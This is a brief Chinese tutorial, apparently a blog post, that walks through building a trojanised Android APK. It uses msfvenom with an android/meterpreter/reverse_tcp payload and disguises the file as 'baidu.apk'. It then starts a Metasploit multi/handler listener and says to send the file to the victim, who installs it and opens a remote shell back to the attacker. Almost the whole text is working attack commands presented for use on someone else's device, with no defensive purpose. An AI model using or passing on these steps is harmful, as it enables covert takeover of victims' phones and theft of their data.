本文介绍了如何使用msfvenom生成针对安卓设备的恶意APK文件，通过设置LHOST和LPORT来指定回连地址和端口。在本地启动msfconsole并设置相应参数后，当目标设备安装并运行该APK，攻击者即可进行监听。
┌──(root㉿root)-[~/桌面]
└─# msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.40.128 LPORT=4444 R > baidu.apk
启动监听
┌──(root㉿root)-[~/桌面]
└─# msfconsole
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set LHOST 192.168.40.128
msf6 exploit(multi/handler) > set LPORT 4444
msf6 exploit(multi/handler) > set payload android/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > run
这个时候把这个apk文件发送给对方
对方手机下载安装 这边就可以监听到了
扫一扫
3284
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
